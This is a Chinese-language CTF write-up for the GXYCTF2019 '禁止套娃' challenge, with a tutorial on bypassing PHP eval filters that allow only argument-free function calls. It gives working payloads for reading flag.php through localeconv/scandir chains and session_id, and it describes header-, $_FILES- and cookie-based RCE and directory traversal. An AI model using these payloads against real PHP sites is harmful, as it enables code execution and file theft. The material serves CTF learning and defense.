无参数函数RCE - [GXYCTF2019]禁止套娃
思路
dirsearch
扫描目录,发现git
泄露。
githack
下载index.php
。
1 | //index.php |
第六行过滤了data
、filter
、php
、phar
几种协议。
第七行使用preg_replace
,将形如xxx(
的字符串和)
递归式地删除。若最后只剩下了;
,则通过检查。
第八行过滤了et
、na
、info
、dec
、bin
、hex
、oct
、pi
、log
,进制转换和带有get
的函数都无法执行。
因为第六行的过滤,无法直接进行文件读取,而第10行就可以进行有条件的代码执行。
通过七八两行的过滤,此处的代码执行只能执行类似aaa(bbb(ccc(ddd())));
这样的套娃代码。
payload构造
- 使用
print_r()
进行输出; - 使用
readfile()
或highlight_file()
读取文件;
这样一来,就需要想办法用函数构造flag.php
。
用
scandir()
来获取当前目录下全部文件和目录。
但是scandir()
需要传入路径作为参数。读取当前目录时应该传入.
。接下来就要用函数来构造一个.
。
- 使用
localeconv()
获取第一项为.
的数组。
定义和用法
localeconv()
函数返回一包含本地数字及货币格式信息的数组。localeconv()
函数会返回以下数组元素:
- [decimal_point] - 小数点字符。
- [thousands_sep] - 千位分隔符。
- [int_curr_symbol] - 货币符号 (例如:USD)。
- [currency_symbol] - 货币符号 (例如:$)。
- [mon_decimal_point] - 货币小数点字符。
- [mon_thousands_sep] - 货币千位分隔符。
- ……
接下来获取localeconv()
返回数组的第一位即可。
- 使用
current()
、pos()
来获取数组的第一项。
pos()
函数返回数组中的当前元素的值。该函数是current()
函数的别名。current()
返回数组中的当前元素的值。end()
将内部指针指向数组中的最后一个元素,并输出。next()
将内部指针指向数组中的下一个元素,并输出。prev()
将内部指针指向数组中的上一个元素,并输出。reset()
将内部指针指向数组中的第一个元素,并输出。each()
返回当前元素的键名和键值,并将内部指针向前移动。
将目前的payload
send一下,返回数组的第3项是flag.php
。
通过
array_reverse()
将返回数组反转过来,用next()
获取第二项。但,如果array再多几项,并且
flag.php
并不位于前后两位。这时就不能使用
pos()
、end()
、next()
了。可以使用
arrar_rand()
来获取array中的随机项,不过这样获取的是array的key,而不是值。为了获取值,还需要使用
array_filp()
函数,将array的键值对调换。此时,payload:
?exp=print_r(readfile(array_rand(array_flip(scandir(current(localeconv())))));
至此,payload已经构造完毕:?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
。
世界线二
既然RCE
的部分存在严格过滤,那么让payload
调用其它地方的代码。
除了RCE
部分之外,可控的输入还有一处,即PHPSESSID
。
可以使用session_start()
来获取当前用户设置的session,并使用session_id()
来获取session的值。
构造payload:
RCE
部分:?exp=readfile(session_id(session_start()));
- PHPSESSID:
PHPSESSID=flag.php
More about RCE
什么是无参数函数RCE
传统意义上,如果我们有
1 | eval($_GET['code']); |
即代表我们拥有了一句话木马,可以进行getshell,例如
但是如果有如下限制
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { |
我们会发现我们使用参数则无法通过正则的校验
1 | /[^\W]+\((?R)?\)/ |
而该正则,正是我们说的无参数函数的校验,其只允许执行如下格式函数
1 | a(b(c())); |
但不允许
1 | a('123'); |
这样一来,失去了参数,我们进行RCE的难度则会大幅上升。
而本篇文章旨在bypass这种限制,并做出一些更苛刻条件的Bypass。
法1:getenv()
查阅php手册,有非常多的超全局变量
1 | $GLOBALS |
我们可以使用$_ENV
,对应函数为getenv()
虽然getenv()
可获取当前环境变量,但我们怎么从一个偌大的数组中取出我们指定的值成了问题
这里可以使用方法:
效果如下
但是我不想要下标,我想要数组的值,那么我们可以使用
两者结合使用即可有如下效果
我们则可用爆破的方式获取数组中任意位置需要的值,那么即可使用getenv()
,并获取指定位置的恶意参数
法二:getallheaders()
之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可
在apache2环境下,我们有函数getallheaders()
可返回
我们可以看一下返回值
1 | array(8) { |
我们可以看到,成功返回了http header,我们可以在header中做一些自定义的手段,例如
此时我们再将结果中的恶意命令取出
1 | var_dump(end(getallheaders())); |
这样一来相当于我们将http header中的sky变成了我们的参数,可用其进行bypass 无参数函数执行
例如
那么可以进一步利用http header的sky属性进行rce
法三:get_defined_vars()
使用getallheaders()
其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方式呢?
这里我们可以使用get_defined_vars()
,首先看一下它的回显
发现其可以回显全局变量
1 | $_GET |
我们这里的选择也就具有多样性,可以利用$_GET
进行RCE,例如
还是和之前的思路一样,将恶意参数取出
发现可以成功RCE
但一般网站喜欢对
1 | $_GET |
做全局过滤,所以我们可以尝试从$_FILES
下手,这就需要我们自己写一个上传
可以发现空格会被替换成,为防止干扰我们用hex编码进行RCE
最终脚本如下
1 | import requests |
法四:session_id()
之前我们使用$_FILES
下手,其实这里还能从$_COOKIE
下手:
我们有函数
可以获取PHPSESSID
的值,而我们知道PHPSESSID
允许字母和数字出现,那么我们就有了新的思路,即hex2bin
脚本如下
1 | import requests |
即可达成RCE
和bypass的目的
法五:dirname() & chdir()
为什么一定要RCE
呢?我们能不能直接读文件?
之前的方法都基于可以进行RCE,如果目标真的不能RCE呢?我们能不能进行任意读取?
那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?
首先,我们可以利用getcwd()
获取当前目录
1 | ?code=var_dump(getcwd()); |
那么怎么进行当前目录的目录遍历呢?
这里用scandir()
即可
1 | ?code=var_dump(scandir(getcwd())); |
那么既然不在这一层目录,如何进行目录上跳呢?
我们用dirname()
即可
1 | ?code=var_dump(scandir(dirname(getcwd()))); |
那么怎么更改我们的当前目录呢?这里我们发现有函数可以更改当前目录
1 | chdir ( string $directory ) : bool |
将 PHP 的当前目录改为 directory。
所以我们这里在
1 | dirname(getcwd()) |
进行如下设置即可
1 | chdir(dirname(getcwd())) |
我们尝试读取/var/www/123
1 | http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); |
即可进行文件读取